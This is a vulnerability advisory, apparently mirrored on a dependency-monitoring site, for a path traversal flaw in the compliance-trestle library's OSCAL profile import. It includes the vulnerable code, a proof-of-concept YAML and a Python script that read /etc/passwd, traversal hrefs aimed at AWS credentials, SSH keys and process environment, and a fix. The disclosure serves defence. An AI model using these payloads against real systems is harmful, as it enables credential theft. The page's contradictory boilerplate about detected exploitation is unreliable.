Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-mj4x-vf5c-5xg8
No affected components available
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd— via trestle:// URI scheme - PT-002:
../../etc/passwd— via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
cache.py:194 — LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
_import.py:73-104 — Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil._abs_path}") # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash
Expected: Path traversal blocked with error
Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully
Remediation
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self._abs_path.is_relative_to(self._trestle_root):
raise TrestleError(
f"Path traversal blocked: resolved path '{self._abs_path}' "
f"is outside trestle root '{self._trestle_root}'"
)
self._cached_object_path = self._abs_path
return
Same fix needed for relative path handling at line 194.
Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).
Resources
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
-
Credential Theft via OSCAL Import:
imports: - href: "trestle://../../root/.aws/credentials" - href: "trestle://../../root/.ssh/id_rsa" -
System Reconnaissance:
imports: - href: "trestle://../../etc/passwd" - href: "trestle://../../proc/self/environ" -
Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
-
Dead Code Evidence:
TRESTLE_HREF_REGEXdefined atconst.py:253but never enforced anywhere — proves path validation was INTENDED but never implemented.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2026-45774Alias
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard